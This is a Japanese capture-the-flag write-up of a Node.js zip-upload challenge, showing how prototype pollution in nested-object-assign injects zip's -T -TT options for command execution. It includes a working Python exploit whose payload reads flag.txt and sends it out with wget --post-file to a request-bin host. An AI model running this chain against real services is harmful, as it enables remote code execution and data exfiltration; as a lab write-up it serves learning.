TL;DR

  • nested-object-assignでPrototype Pollutionが出来る
  • これで本来なら設定されないはずの要素に任意の値を設定出来るようになり、それを利用してzipコマンドに任意のオプションを設定出来るようになる
  • -T -TT <cmd>を指定すれば任意コード実行が出来るのでこれでフラグを読む

Prerequisite

  • zipコマンドの任意コード実行
  • Prototype Pollution

Writeup

次のようなnode製のアプリケーションが動いている。

const assign = require("nested-object-assign");
const express = require("express");
const fs = require("fs");
const multer = require("multer");
const morgan = require("morgan");
const { spawn } = require("child_process");

// config
const UPLOAD_DIR = process.env.UPLOAD_DIR ?? "/tmp";
const ZIP_OPTS = JSON.parse(process.env.ZIP_OPTS ?? '{"executable":"zip"}');

// zipper
function zip(infile, outfile, extra_opts) {
  const opts = assign(
    {
      zip: {
        password: null,
        compressionMethod: "deflate",
      },
      executable: ZIP_OPTS.executable,
    },
    extra_opts
  );

  return spawn(ZIP_OPTS.executable, [
    "-j",
    outfile,
    infile,

    "--compression-method",
    opts.zip.compressionMethod,

    ...(opts.zip.password
      ? ["--encrypt", "--password", opts.zip.password]
      : []),

    ...(ZIP_OPTS.extra_opts ?? []),
  ]);
}

function tryRm(file) {
  try {
    fs.unlinkSync(file);
  } catch (e) {}
}

// app
const app = express();
app.use(morgan("tiny"));

const zipUpload = multer({
  dest: UPLOAD_DIR,
  limits: {
    files: 1,
    fileSize: 8192,
  },
}).single("file");

app.post("/zip", zipUpload, (req, res) => {
  if (!req.file) return res.redirect("/");
  const outfile = `${req.file.path}.zip`;

  function abort(status) {
    tryRm(req.file.path);
    tryRm(outfile);
    res.status(status).end();
  }

  zip(req.file.path, outfile, { zip: req.body })
  .on("error", () => abort(500))
  .on("exit", (code) => {
    if (code !== 0) return abort(500);

    fs.createReadStream(outfile)
      .on("error", () => abort(500))
      .on("finish", () => abort(200))
      .pipe(res)
  });
});

app.get("/", (_req, res) => {
  res.sendFile(__dirname + "/index.html");
});

app.listen(8000, () => {
  console.log("App started");
});

ファイルを投げるとそいつをzipにしてくれる。そういえばもしzipコマンドを使っているなら-T -TT <cmd>で任意コード実行が出来た気がするのでこの辺に該当しそうな実装箇所を眺めていると次のような場所が見つかる。

  return spawn(ZIP_OPTS.executable, [
    "-j",
    outfile,
    infile,

    "--compression-method",
    opts.zip.compressionMethod,

    ...(opts.zip.password
      ? ["--encrypt", "--password", opts.zip.password]
      : []),

    ...(ZIP_OPTS.extra_opts ?? []),
  ]);

ZIP_OPTS.executablezipとなっており、通常のzipコマンドを用いている。ということはZIP_OPTS.extra_opts["-T", "-TT", "<cmd>"]を発生させれば任意コード実行が出来そうである。

問題はそのままであればZIP_OPTSに直接値を代入できそうな箇所が存在しないことである。ここでextra_optsという変数が存在している事に注目してその辺を読んでみるとこんな実装が見つかる。

  const opts = assign(
    {
      zip: {
        password: null,
        compressionMethod: "deflate",
      },
      executable: ZIP_OPTS.executable,
    },
    extra_opts

assignnested-object-assignというライブラリの関数で2つのオブジェクトを受け取っていい感じにマージした結果を返すらしい。いい感じにマージとは「もし同名のプロパティがあるなら、それぞれ値に対して再帰的にマージを実行した結果を返す」ということらしい(参考文献より)。

ここでextra_opts{zip: req.body}という形で与えられることを考えると、もし{zip: {__proto__: {key: value}}}のようなものを送り込んだら、assignの第一引数のzipプロパティにオブジェクトが入っているのでここの__proto__に対して{key: value}のマージが行われる。これでただのオブジェクトのprototypeに対してkey要素がvalueとなるので、あるオブジェクトにkey要素が実装されていなければprototypeから読まれ、valueが返されることになる。

ということは{__proto__: {key: value}}のような入れ子になったオブジェクトをreq.bodyに設定しなくてはならない。長いことWebから離れていたのでここで苦戦したが、"__proto__[key]=value"のように、値では無くキーに入れ子構造を記述するような形でリクエストを送る事を思い出した。

さて、実現したいのはZIP_OPTS.extra_opts = ["-T", "-TT", "<cmd>"]なのでそれに該当するようなオブジェクトは次のようになる。

{
	__proto__: {
		extra_opts: [
			"-T",
			"-TT",
			"<cmd>"
		]
	}
}

これを実現するリクエストボディは次のようになる。

__proto__[extra_opts][0]=-T&__proto__[extra_opts][1]=-TT&__proto__[extra_opts][2]=<cmd>

任意コード実行が出来るようになったが、その結果を出力してくれるわけではないのでどうにかしてそれを得る必要がある。リバースシェルを張っても良いと思うが、面倒なので実行コマンドをリダイレクトして、そのファイルをwgetでrequestbin(今はpipedreamって言うらしい)に送り込んだ。

コマンドはls > /tmp/ls.txtしてからcat flag.txt > /tmp/cat.txtとしたものをwgetで送らせた。

Code

フラグ開示のみ(事前にwgetlsした結果を送っている)

import requests


url = "http://localhost:8000"

f = {
    "file": ("unko.txt", "unkoburibu~ri")
}

d = {
    "__proto__[extra_opts][0]": "-T",
    "__proto__[extra_opts][1]": "-TT",
    "__proto__[extra_opts][2]": 'cat flag.txt > /tmp/cat.txt; wget --post-file="/tmp/cat.txt" https://<REDACTED>.m.pipedream.net',  # ls > /tmp/ls.txt; ... を最初にやってファイル名を特定した
}

r = requests.post(url+"/zip", files=f, data=d)
print(r.text)

Flag

ローカルでやったけど問題リポジトリ上でやったのでなんか出た

DUCTF{th4nk_y0u_4_p4rticipating_1n_our_bet4_t3st}

Appendix: nodeのデバッグ

ググり力がカスすぎてドキュメントに書いてあったのに辿り着くのが遅れたから一応書いておく。ちなみにWSL2でしか確かめていない(Linuxのデスクトップ環境とかなら--inspectlocalhostにしなくても出てきたURLでアクセス出来ると思う)

  1. アプリケーション起動時にnode --inspect=localhost:<port> <app>とする
  2. 「Chrome」でアドレスバーにhttp://localhost:<port>/json/listにアクセスしてdevtoolsFrontendUrlの値をアドレスバーに打ち込む
  3. なんかできる、すげー

これでブレークポイントをポチポチしたりして変数の中身を見れる。ちなみに愛用ブラウザであるFirefoxでやる方法は1分調べたぐらいでは出てこなかったので数年ぶりにChromeを引っ張り出した。

Resources